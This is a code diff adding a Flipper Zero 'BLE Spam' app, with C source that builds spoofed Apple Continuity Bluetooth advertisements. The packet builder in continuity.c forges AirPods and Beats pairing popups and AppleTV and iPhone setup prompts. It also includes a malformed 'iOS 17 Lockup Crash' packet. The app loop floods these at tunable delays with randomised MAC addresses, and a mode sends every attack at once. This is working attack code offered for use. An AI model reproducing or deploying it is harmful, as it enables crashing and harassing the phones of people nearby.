+ +// Hacked together by @Willy-JL +// Custom adv API by @Willy-JL (idea by @xMasterX) +// iOS 17 Crash by @ECTO-1A +// Research on behaviors and parameters by @Willy-JL and @ECTO-1A +// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam + +typedef struct { + bool random_mac; + const BleSpamProtocol* protocol; + BleSpamMsg msg; +} Payload; + +typedef struct { + const char* title; + const char* text; + Payload payload; +} Attack; + +static Attack attacks[] = { + { + .title = "+ Kitchen Sink", + .text = "Flood all attacks at once", + .payload = + { + .random_mac = true, + .protocol = NULL, + .msg = {}, + }, + }, + { + .title = "iOS 17 Lockup Crash", + .text = "Newer iPhones, long range", + .payload = + { + .random_mac = false, + .protocol = &ble_spam_protocol_continuity, + .msg = + { + .continuity = + { + .type = ContinuityTypeCustomCrash, + .data = {}, + }, + }, + }, + }, + { + .title = "Apple Action Modal", + .text = "Lock cooldown, long range", + .payload = + { + .random_mac = false, + .protocol = &ble_spam_protocol_continuity, + .msg = + { + .continuity = + { + .type = ContinuityTypeNearbyAction, + .data = {}, + }, + }, + }, + }, + { + .title = "Apple Device Popup", + .text = "No cooldown, close range", + .payload = + { + .random_mac = false, + .protocol = &ble_spam_protocol_continuity, + .msg = + { + .continuity = + { + .type = ContinuityTypeProximityPair, + .data = {}, + }, + }, + }, + }, +}; + +#define ATTACK_COUNT ((signed)COUNT_OF(attacks)) + +uint16_t delays[] = {20, 50, 100, 200}; + +typedef struct { + bool resume; + bool advertising; + uint8_t delay; + FuriThread* thread; + int8_t index; +} State; + +static int32_t adv_thread(void* ctx) { + State* state = ctx; + uint8_t size; + uint16_t delay; + uint8_t* packet; + uint8_t mac[GAP_MAC_ADDR_SIZE]; + Payload* payload = &attacks[state->index].payload; + if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + + while(state->advertising) { + if(payload->protocol) { + payload->protocol->make_packet(&size, &packet, &payload->msg); + } else { + ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet( + &size, &packet, NULL); + } + furi_hal_bt_custom_adv_set(packet, size); + free(packet); + + if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac)); + delay = delays[state->delay]; + furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F); + furi_thread_flags_wait(true, FuriFlagWaitAny, delay); + furi_hal_bt_custom_adv_stop(); + } + + return 0; +} + +static void toggle_adv(State* state) { + if(state->advertising) { + state->advertising = false; + furi_thread_flags_set(furi_thread_get_id(state->thread), true); + furi_thread_join(state->thread); + if(state->resume) furi_hal_bt_start_advertising(); + } else { + state->resume = furi_hal_bt_is_active(); + furi_hal_bt_stop_advertising(); + state->advertising = true; + furi_thread_start(state->thread); + } +} + +#define PAGE_MIN (-3) +#define PAGE_MAX ATTACK_COUNT +enum { + PageHelpApps = PAGE_MIN, + PageHelpDelay, + PageHelpDistance, + PageStart = 0, + PageEnd = ATTACK_COUNT - 1, + PageAboutCredits = PAGE_MAX, +}; + +static void draw_callback(Canvas* canvas, void* ctx) { + State* state = ctx; + const char* back = "Back"; + const char* next = "Next"; + switch(state->index) { + case PageStart - 1: + next = "Spam"; + break; + case PageStart: + back = "Help"; + break; + case PageEnd: + next = "About"; + break; + case PageEnd + 1: + back = "Spam"; + break; + } + + const Attack* attack = + (state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL; + const Payload* payload = &attack->payload; + const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL; + + canvas_set_font(canvas, FontSecondary); + canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); + canvas_draw_str(canvas, 14, 12, "BLE Spam"); + + switch(state->index) { + case PageHelpApps: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "\e#Some Apps\e# interfere\n" + "with the attacks, stay on\n" + "homescreen for best results", + false); + break; + case PageHelpDelay: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "\e#Delay\e# is time between\n" + "attack attempts (top right),\n" + "keep 20ms for best results", + false); + break; + case PageHelpDistance: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); + elements_text_box( + canvas, + 4, + 16, + 120, + 48, + AlignLeft, + AlignTop, + "\e#Distance\e# is limited, attacks\n" + "work under 1 meter but a\n" + "few are marked 'long range'", + false); + break; + case PageAboutCredits: + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits"); + elements_text_box( + canvas, + 4, + 16, + 122, + 48, + AlignLeft, + AlignTop, + "App+Spam: \e#WillyJL\e# XFW\n" + "Apple+Crash: \e#ECTO-1A\e#\n" + "\n" + " Version \e#2.0\e#", + false); + break; + default: { + if(!attack) break; + char str[32]; + + canvas_set_font(canvas, FontBatteryPercent); + snprintf(str, sizeof(str), "%ims", delays[state->delay]); + canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str); + canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); + canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); + + canvas_set_font(canvas, FontBatteryPercent); + snprintf( + str, + sizeof(str), + "%02i/%02i: %s", + state->index + 1, + ATTACK_COUNT, + protocol ? protocol->get_name(&payload->msg) : "Everything"); + canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); + + canvas_set_font(canvas, FontPrimary); + canvas_draw_str(canvas, 4, 32, attack->title); + + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 4, 46, attack->text); + + elements_button_center(canvas, state->advertising ? "Stop" : "Start"); + break; + } + } + + if(state->index > PAGE_MIN) { + elements_button_left(canvas, back); + } + if(state->index < PAGE_MAX) { + elements_button_right(canvas, next); + } +} + +static void input_callback(InputEvent* input, void* ctx) { + FuriMessageQueue* input_queue = ctx; + if(input->type == InputTypeShort || input->type == InputTypeLong || + input->type == InputTypeRepeat) { + furi_message_queue_put(input_queue, input, 0); + } +} + +int32_t ble_spam(void* p) { + UNUSED(p); + State* state = malloc(sizeof(State)); + state->thread = furi_thread_alloc(); + furi_thread_set_callback(state->thread, adv_thread); + furi_thread_set_context(state->thread, state); + furi_thread_set_stack_size(state->thread, 4096); + + FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + ViewPort* view_port = view_port_alloc(); + Gui* gui = furi_record_open(RECORD_GUI); + view_port_input_callback_set(view_port, input_callback, input_queue); + view_port_draw_callback_set(view_port, draw_callback, state); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + bool running = true; + while(running) { + InputEvent input; + furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); + + bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1; + bool advertising = state->advertising; + switch(input.key) { + case InputKeyOk: + if(is_attack) toggle_adv(state); + break; + case InputKeyUp: + if(is_attack && state->delay < COUNT_OF(delays) - 1) { + state->delay++; + } + break; + case InputKeyDown: + if(is_attack && state->delay > 0) { + state->delay--; + } + break; + case InputKeyLeft: + if(state->index > PAGE_MIN) { + if(advertising) toggle_adv(state); + state->index--; + } + break; + case InputKeyRight: + if(state->index < PAGE_MAX) { + if(advertising) toggle_adv(state); + state->index++; + } + break; + case InputKeyBack: + if(advertising) toggle_adv(state); + running = false; + break; + default: + continue; + } + + view_port_update(view_port); + } + + gui_remove_view_port(gui, view_port); + furi_record_close(RECORD_GUI); + view_port_free(view_port); + furi_message_queue_free(input_queue); + + furi_thread_free(state->thread); + free(state); + return 0; +} diff --git a/applications/external/ble_spam/ble_spam_10px.png b/applications/external/ble_spam/ble_spam_10px.png new file mode 100644 index 000000000..a204d1de5 Binary files /dev/null and b/applications/external/ble_spam/ble_spam_10px.png differ diff --git a/applications/external/ble_spam/icons/apple.png b/applications/external/ble_spam/icons/apple.png new file mode 100644 index 000000000..802cf5505 Binary files /dev/null and b/applications/external/ble_spam/icons/apple.png differ diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble.png new file mode 100644 index 000000000..f5cf3880b Binary files /dev/null and b/applications/external/ble_spam/icons/ble.png differ diff --git a/applications/external/ble_spam/protocols/_base.h b/applications/external/ble_spam/protocols/_base.h new file mode 100644 index 000000000..d3fbe98ff --- /dev/null +++ b/applications/external/ble_spam/protocols/_base.h @@ -0,0 +1,17 @@ +#pragma once + +#include +#include +#include +#include +#include "ble_spam_icons.h" +#include +#include + +typedef union BleSpamMsg BleSpamMsg; + +typedef struct { + const Icon* icon; + const char* (*get_name)(const BleSpamMsg* _msg); + void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg); +} BleSpamProtocol; diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_registry.c new file mode 100644 index 000000000..2481cf1a4 --- /dev/null +++ b/applications/external/ble_spam/protocols/_registry.c @@ -0,0 +1,7 @@ +#include "_registry.h" + +const BleSpamProtocol* ble_spam_protocols[] = { + &ble_spam_protocol_continuity, +}; + +const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols); diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h new file mode 100644 index 000000000..b2e05db88 --- /dev/null +++ b/applications/external/ble_spam/protocols/_registry.h @@ -0,0 +1,11 @@ +#pragma once + +#include "continuity.h" + +union BleSpamMsg { + ContinuityMsg continuity; +}; + +extern const BleSpamProtocol* ble_spam_protocols[]; + +extern const size_t ble_spam_protocols_count; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c new file mode 100644 index 000000000..ac0a2aa00 --- /dev/null +++ b/applications/external/ble_spam/protocols/continuity.c @@ -0,0 +1,276 @@ +#include "continuity.h" +#include "_registry.h" + +// Hacked together by @Willy-JL +// iOS 17 Crash by @ECTO-1A +// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ +// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ + +static const char* type_names[ContinuityTypeCount] = { + [ContinuityTypeAirDrop] = "AirDrop", + [ContinuityTypeProximityPair] = "Proximity Pair", + [ContinuityTypeAirplayTarget] = "Airplay Target", + [ContinuityTypeHandoff] = "Handoff", + [ContinuityTypeTetheringSource] = "Tethering Source", + [ContinuityTypeNearbyAction] = "Nearby Action", + [ContinuityTypeNearbyInfo] = "Nearby Info", + [ContinuityTypeCustomCrash] = "Custom Packet", +}; +const char* continuity_get_name(const BleSpamMsg* _msg) { + const ContinuityMsg* msg = &_msg->continuity; + return type_names[msg->type]; +} + +#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size +static uint8_t packet_sizes[ContinuityTypeCount] = { + [ContinuityTypeAirDrop] = HEADER_LEN + 18, + [ContinuityTypeProximityPair] = HEADER_LEN + 25, + [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, + [ContinuityTypeHandoff] = HEADER_LEN + 14, + [ContinuityTypeTetheringSource] = HEADER_LEN + 6, + [ContinuityTypeNearbyAction] = HEADER_LEN + 5, + [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, + [ContinuityTypeCustomCrash] = HEADER_LEN + 11, +}; + +void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) { + const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL; + + ContinuityType type; + if(msg) { + type = msg->type; + } else { + const ContinuityType types[] = { + ContinuityTypeProximityPair, + ContinuityTypeNearbyAction, + ContinuityTypeCustomCrash, + }; + type = types[rand() % COUNT_OF(types)]; + } + + uint8_t size = packet_sizes[type]; + uint8_t* packet = malloc(size); + uint8_t i = 0; + + packet[i++] = size - 1; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x4C; // Company ID (Apple, Inc.) + packet[i++] = 0x00; // ... + packet[i++] = type; // Continuity Type + packet[i] = size - i - 1; // Continuity Size + i++; + + switch(type) { + case ContinuityTypeAirDrop: { + packet[i++] = 0x00; // Zeros + packet[i++] = 0x00; // ... + packet[i++] = 0x00; // ... + packet[i++] = 0x00; // ... + packet[i++] = 0x00; // ... + packet[i++] = 0x00; // ... + packet[i++] = 0x00; // ... + packet[i++] = 0x00; // ... + packet[i++] = 0x01; // Version + packet[i++] = (rand() % 256); // AppleID + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // Phone Number + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // Email + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // Email2 + packet[i++] = (rand() % 256); // ... + packet[i++] = 0x00; // Zero + break; + } + + case ContinuityTypeProximityPair: { + uint16_t model; + if(msg && msg->data.proximity_pair.model != 0x0000) { + model = msg->data.proximity_pair.model; + } else { + const uint16_t models[] = { + 0x0E20, // AirPods Pro + 0x0620, // Beats Solo 3 + 0x0A20, // AirPods Max + 0x1020, // Beats Flex + 0x0055, // Airtag + 0x0030, // Hermes Airtag + 0x0220, // AirPods + 0x0F20, // AirPods 2nd Gen + 0x1320, // AirPods 3rd Gen + 0x1420, // AirPods Pro 2nd Gen + 0x0320, // Powerbeats 3 + 0x0B20, // Powerbeats Pro + 0x0C20, // Beats Solo Pro + 0x1120, // Beats Studio Buds + 0x0520, // Beats X + 0x0920, // Beats Studio 3 + 0x1720, // Beats Studio Pro + 0x1220, // Beats Fit Pro + 0x1620, // Beats Studio Buds+ + }; + model = models[rand() % COUNT_OF(models)]; + } + + uint8_t prefix; + if(msg && msg->data.proximity_pair.prefix == 0x00) { + prefix = msg->data.proximity_pair.prefix; + } else { + if(model == 0x0055 || model == 0x0030) + prefix = 0x05; + else + prefix = 0x01; + } + + packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = 0x55; // Status + packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level + packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level + packet[i++] = (rand() % 256); // Lid Open Counter + packet[i++] = 0x00; // Device Color + packet[i++] = 0x00; + furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload + i += 16; + break; + } + + case ContinuityTypeAirplayTarget: { + packet[i++] = (rand() % 256); // Flags + packet[i++] = (rand() % 256); // Configuration Seed + packet[i++] = (rand() % 256); // IPv4 Address + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + break; + } + + case ContinuityTypeHandoff: { + packet[i++] = 0x01; // Version + packet[i++] = (rand() % 256); // Initialization Vector + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // AES-GCM Auth Tag + packet[i++] = (rand() % 256); // Encrypted Payload + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + break; + } + + case ContinuityTypeTetheringSource: { + packet[i++] = 0x01; // Version + packet[i++] = (rand() % 256); // Flags + packet[i++] = (rand() % 101); // Battery Life + packet[i++] = 0x00; // Cell Service Type + packet[i++] = (rand() % 8); // ... + packet[i++] = (rand() % 5); // Cell Service Strength + break; + } + + case ContinuityTypeNearbyAction: { + uint8_t action; + if(msg && msg->data.nearby_action.type != 0x00) { + action = msg->data.nearby_action.type; + } else { + const uint8_t actions[] = { + 0x13, // AppleTV AutoFill + 0x27, // AppleTV Connecting... + 0x20, // Join This AppleTV? + 0x19, // AppleTV Audio Sync + 0x1E, // AppleTV Color Balance + 0x09, // Setup New iPhone + 0x02, // Transfer Phone Number + 0x0B, // HomePod Setup + 0x01, // Setup New AppleTV + 0x06, // Pair AppleTV + 0x0D, // HomeKit AppleTV Setup + 0x2B, // AppleID for AppleTV? + }; + action = actions[rand() % COUNT_OF(actions)]; + } + + uint8_t flag; + if(msg && msg->data.nearby_action.flags != 0x00) { + flag = msg->data.nearby_action.flags; + } else { + flag = 0xC0; + if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + } + + packet[i++] = flag; // Action Flags + packet[i++] = action; // Action Type + furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag + i += 3; + break; + } + + case ContinuityTypeNearbyInfo: { + packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code + packet[i++] = (rand() % 256); // Status Flags + packet[i++] = (rand() % 256); // Authentication Tag + packet[i++] = (rand() % 256); // ... + packet[i++] = (rand() % 256); // ... + break; + } + + case ContinuityTypeCustomCrash: { + // Found by @ECTO-1A + + const uint8_t actions[] = { + 0x13, // AppleTV AutoFill + 0x27, // AppleTV Connecting... + 0x20, // Join This AppleTV? + 0x19, // AppleTV Audio Sync + 0x1E, // AppleTV Color Balance + 0x09, // Setup New iPhone + 0x02, // Transfer Phone Number + 0x0B, // HomePod Setup + 0x01, // Setup New AppleTV + 0x06, // Pair AppleTV + 0x0D, // HomeKit AppleTV Setup + 0x2B, // AppleID for AppleTV? + }; + uint8_t action = actions[rand() % COUNT_OF(actions)]; + + uint8_t flag = 0xC0; + if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + + i -= 2; // Override segment header + packet[i++] = ContinuityTypeNearbyAction; // Continuity Type + packet[i++] = 0x05; // Continuity Size + packet[i++] = flag; // Action Flags + packet[i++] = action; // Action Type + furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag + i += 3; + + packet[i++] = 0x00; // Terminator (?) + packet[i++] = 0x00; // ... + + packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?) + furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???) + i += 3; + break; + } + + default: + break; + } + + *out_size = size; + *out_packet = packet; +} + +const BleSpamProtocol ble_spam_protocol_continuity = { + .icon = &I_apple, + .get_name = continuity_get_name, + .make_packet = continuity_make_packet, +}; diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h new file mode 100644 index 000000000..7e97f8425 --- /dev/null +++ b/applications/external/ble_spam/protocols/continuity.h @@ -0,0 +1,36 @@ +#pragma once +#include "_base.h" + +// Hacked together by @Willy-JL +// iOS 17 Crash by @ECTO-1A +// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/ +// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ + +typedef enum { + ContinuityTypeAirDrop = 0x05, + ContinuityTypeProximityPair = 0x07, + ContinuityTypeAirplayTarget = 0x09, + ContinuityTypeHandoff = 0x0C, + ContinuityTypeTetheringSource = 0x0E, + ContinuityTypeNearbyAction = 0x0F, + ContinuityTypeNearbyInfo = 0x10, + + ContinuityTypeCustomCrash, + ContinuityTypeCount +} ContinuityType; + +typedef struct { + ContinuityType type; + union { + struct { + uint8_t prefix; + uint16_t model; + } proximity_pair; + struct { + uint8_t flags; + uint8_t type; + } nearby_action; + } data; +} ContinuityMsg; + +extern const BleSpamProtocol ble_spam_protocol_continuity;